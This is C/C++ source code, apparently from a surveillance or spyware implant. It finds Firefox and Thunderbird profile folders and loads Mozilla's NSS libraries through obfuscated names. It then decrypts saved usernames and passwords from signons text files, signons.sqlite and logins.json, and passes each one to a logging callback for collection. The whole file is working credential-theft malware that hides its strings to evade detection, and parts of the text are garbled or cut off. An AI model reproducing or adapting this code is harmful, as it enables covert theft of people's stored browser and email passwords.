#define _CRT_SECURE_NO_WARNINGS 1 #include #include #include #include #include #include "../HM_SafeProcedures.h" #include "../demo_functions.h" #include "../common.h" #include "..\JSON\JSON.h" #include "..\JSON\JSONValue.h" #pragma comment(lib,"userenv.lib") // callback for the password extern int LogPassword(WCHAR *resource, WCHAR *service, WCHAR *user, WCHAR *pass); extern char *LOG_ScrambleName(char *string, BYTE scramble, BOOL crypt); extern char *HM_CompletePath(char *file_name, char *buffer); extern WCHAR *GetTBLibPath(); extern char H4_DUMMY_NAME[]; extern char *GetDosAsciiName(WCHAR *orig_path); //Firefox internal SEC structures typedef enum SECItemType { siBuffer = 0, siClearDataBuffer = 1, siCipherDataBuffer = 2, siDERCertBuffer = 3, siEncodedCertBuffer = 4, siDERNameBuffer = 5, siEncodedNameBuffer = 6, siAsciiNameString = 7, siAsciiString = 8, siDEROID = 9, siUnsignedInteger = 10, siUTCTime = 11, siGeneralizedTime = 12 }; struct SECItem { SECItemType type; unsigned char *data; unsigned int len; }; typedef enum SECStatus { SECWouldBlock = -2, SECFailure = -1, SECSuccess = 0 }; //----------------------------------------------------------------------- //Removes gecko-sdk dependency #define PRBool int #define PRUint32 unsigned int #define PR_TRUE 1 #define PR_FALSE 0 //Mozilla library names #define NSS_LIBRARY_NAME "199n.Xyy" //"nss3.dll" #define PLC_LIBRARY_NAME "Pypx.Xyy" //"plc4.dll" #define NSPR_LIBRARY_NAME "19PEx.Xyy" //"nspr4.dll" #define SQLITE_LIBRARY_NAME "9ByZLIn.Xyy" //"sqlite3.dll" #define SQLITEALT_LIBRARY_NAME "05O9ByZLIn.Xyy" //"mozsqlite3.dll" #define MOZCRT_LIBRARY_NAME "05OpELYN.Xyy" //"mozcrt19.dll" #define MOZCRTALT_LIBRARY_NAME "05OVLZy9.Xyy" //"mozutils.dll" #define MOZCRTALTSEC_LIBRARY_NAME "05O7yVI.Xyy" //"mozglue.dll" #define NSSU_LIBRARY_NAME "199VLZyn.Xyy" //"nssutil3.dll" #define PLDS_LIBRARY_NAME "PyX9x.Xyy" //"plds4.dll" #define SOFTN_LIBRARY_NAME "95ML5T1n.Xyy" //"softokn3.dll" #define FREEBL3_LIBRARY_NAME "MEIIiyn.Xyy" //"freebl3.dll" #define NSSDBM_LIBRARY_NAME "199Xi0n.Xyy" //"nssdbm3.dll" //----------------------------------------------------------------------- typedef struct PK11SlotInfoStr PK11SlotInfo; // NSS Library functions typedef SECStatus (*NSS_Init) (const char *configdir); typedef SECStatus (*NSS_Shutdown) (void); typedef PK11SlotInfo * (*PK11_GetInternalKeySlot) (void); typedef void (*PK11_FreeSlot) (PK11SlotInfo *slot); typedef SECStatus (*PK11_CheckUserPassword) (PK11SlotInfo *slot,char *pw); typedef SECStatus (*PK11_Authenticate) (PK11SlotInfo *slot, PRBool loadCerts, void *wincx); typedef SECStatus (*PK11SDR_Decrypt) (SECItem *data, SECItem *result, void *cx); // PLC Library functions typedef char * (*PL_Base64Decode)( const char *src, PRUint32 srclen, char *dest); // SQLITE Library functions typedef int (*sqlite3_open)(const char *, void **); typedef int (*sqlite3_close)(void *); typedef int (*sqlite3_exec)(void *, const char *, int (*callback)(void*,int,char**,char**), void *, char **); typedef HMODULE (WINAPI *LoadLibrary_t)(char *); // Function declarations.. void NSSUnload(); int InitFFLibs(WCHAR *firefoxPath); int InitializeNSSLibrary(WCHAR *profilePath, char *password); int DirectoryExists(WCHAR *path); WCHAR *GetFFProfilePath(); WCHAR *GetFFLibPath(); int PK11Decrypt(CHAR *decodeData, int decodeLen, WCHAR **clearData, int *finalLen); int Base64Decode(char *cryptData, char **decodeData, int *decodeLen); //----------------------------------------------------------------------- NSS_Init NSSInit = NULL; NSS_Shutdown NSSShutdown = NULL; PK11_GetInternalKeySlot PK11GetInternalKeySlot = NULL; PK11_CheckUserPassword PK11CheckUserPassword = NULL; PK11_FreeSlot PK11FreeSlot = NULL; PK11_Authenticate PK11Authenticate = NULL; PK11SDR_Decrypt PK11SDRDecrypt = NULL; PL_Base64Decode PLBase64Decode = NULL; sqlite3_open SQLITE_open = NULL; sqlite3_close SQLITE_close = NULL; sqlite3_exec SQLITE_exec = NULL; int IsNSSInitialized = 0; HMODULE libnss = NULL; HMODULE libplc = NULL; HMODULE libsql = NULL; HMODULE libnspr4 = NULL; HMODULE libcrt = NULL; HMODULE libnssu = NULL; HMODULE libpld = NULL; HMODULE libsof = NULL; HMODULE libtmp = NULL; HMODULE libmsvcrt = NULL; #define SAFE_FREE(x) do { if (x) {free(x); x=NULL;} } while (0); #define ALPHABET_LEN 64 char *DeobStringA(char *string) { char alphabet[ALPHABET_LEN]={'_','B','q','w','H','a','F','8','T','k','K','D','M', 'f','O','z','Q','A','S','x','4','V','u','X','d','Z', 'i','b','U','I','e','y','l','J','W','h','j','0','m', '5','o','2','E','r','L','t','6','v','G','R','N','9', 's','Y','1','n','3','P','p','c','7','g','-','C'}; static char ret_string[MAX_PATH]; DWORD i,j, scramble=1; _snprintf_s(ret_string, MAX_PATH, "%s", string); for (i=0; ret_string[i]; i++) { for (j=0; j URL: %s \n", buffer); swprintf_s(ffentry.service, 255, L"Firefox"); _snwprintf_s(ffentry.resource, 255, _TRUNCATE, L"%S", buffer); //Start looping through final singon*.txt file while (fgets(buffer, bufferLength, ft) != 0 ) { // new host begins with '.', second entry for a single host have '---' if (!strncmp(buffer, ".", 1) || !strncmp(buffer, "---", 3)) { if (wcscmp(ffentry.user_name, L"")) LogPassword(ffentry.service, ffentry.resource, ffentry.user_value, ffentry.pass_value); memset(&ffentry.user_value, 0, sizeof(ffentry.user_value)); memset(&ffentry.user_name, 0, sizeof(ffentry.user_name)); memset(&ffentry.pass_value, 0, sizeof(ffentry.pass_value)); memset(&ffentry.pass_name, 0, sizeof(ffentry.pass_name)); if (!strncmp(buffer, ".", 1)) break; // end of cache entry else continue; } //Check if its a password if (buffer[0] == '*') { buffer[strlen(buffer)-1] = 0; _snwprintf_s(ffentry.pass_name, 255, _TRUNCATE, L"%S", buffer + 1); fgets(buffer, bufferLength, ft); buffer[strlen(buffer)-1] = 0; DecryptStr(buffer, ffentry.pass_value, 255); // else is the username the first time, the subdomain the second } else if (!wcscmp(ffentry.user_name, L"")) { buffer[strlen(buffer)-1] = 0; _snwprintf_s(ffentry.user_name, 255, _TRUNCATE, L"%S", buffer); fgets(buffer, bufferLength, ft); buffer[strlen(buffer)-1] = 0; DecryptStr(buffer, ffentry.user_value, 255); } } } fclose(ft); return 1; } int parse_sql_signons(void *NotUsed, int argc, char **argv, char **azColName) { struct ffp_entry ffentry; ZeroMemory(&ffentry, sizeof(ffentry)); for(int i=0; iIsObject()) { jObj = jValue->AsObject(); //json root //find the logins object if (jObj.find(strLogins) != jObj.end() && jObj[strLogins]->IsArray()) { jLogins = jObj[strLogins]->AsArray(); for (DWORD i=0; iIsObject()) { jEntry = jLogins[i]->AsObject(); if (jEntry.find(strURL)!=jEntry.end() && jEntry.find(strUser)!=jEntry.end() && jEntry.find(strPass)!=jEntry.end() && jEntry[strURL]->IsString() && jEntry[strUser]->IsString() && jEntry[strPass]->IsString()) { ZeroMemory(&ffentry, sizeof(ffentry)); swprintf_s(ffentry.service, 255, L"Firefox/Thunderbird"); _snwprintf_s(ffentry.resource, 255, _TRUNCATE, L"%s", jEntry[strURL]->AsString().c_str()); _snprintf_s(tmp_buff, 255, _TRUNCATE, "%S", jEntry[strUser]->AsString().c_str()); DecryptStr(tmp_buff, ffentry.user_value, 255); _snprintf_s(tmp_buff, 255, _TRUNCATE, "%S", jEntry[strPass]->AsString().c_str()); DecryptStr(tmp_buff, ffentry.pass_value, 255); LogPassword(ffentry.service, ffentry.resource, ffentry.user_value, ffentry.pass_value); } } } } } delete jValue; SAFE_FREE(local_login_map); return 1; } int DumpFirefox(void) { WCHAR *ProfilePath = NULL; //Profile path WCHAR *FFDir = NULL; //Firefox main installation path NSSShutdown = NULL; IsNSSInitialized = 0; NSSInit = NULL; ProfilePath = GetFFProfilePath(); if (!ProfilePath || !DirectoryExists(ProfilePath)) return 0; FFDir = GetFFLibPath(); if (!FFDir || !DirectoryExists(FFDir)) return 0; if (!InitFFLibs(FFDir)) return 0; if (!InitializeNSSLibrary(ProfilePath)) return 0; // get the passwords for defferent versions DumpFF(ProfilePath, DeobStringW(L"9Z71519o.LSL")); // 2.x "signons2.txt" DumpFF(ProfilePath, DeobStringW(L"9Z71519n.LSL")); // 3.0 "signons3.txt" DumpSqlFF(ProfilePath, DeobStringW(L"9Z71519.9ByZLI")); // 3.1 3.5 "signons.sqlite" DumpJsonFF(ProfilePath, DeobStringW(L"y57Z19.h951")); // 3.1 3.5 "logins.json" NSSUnload(); return 0; } .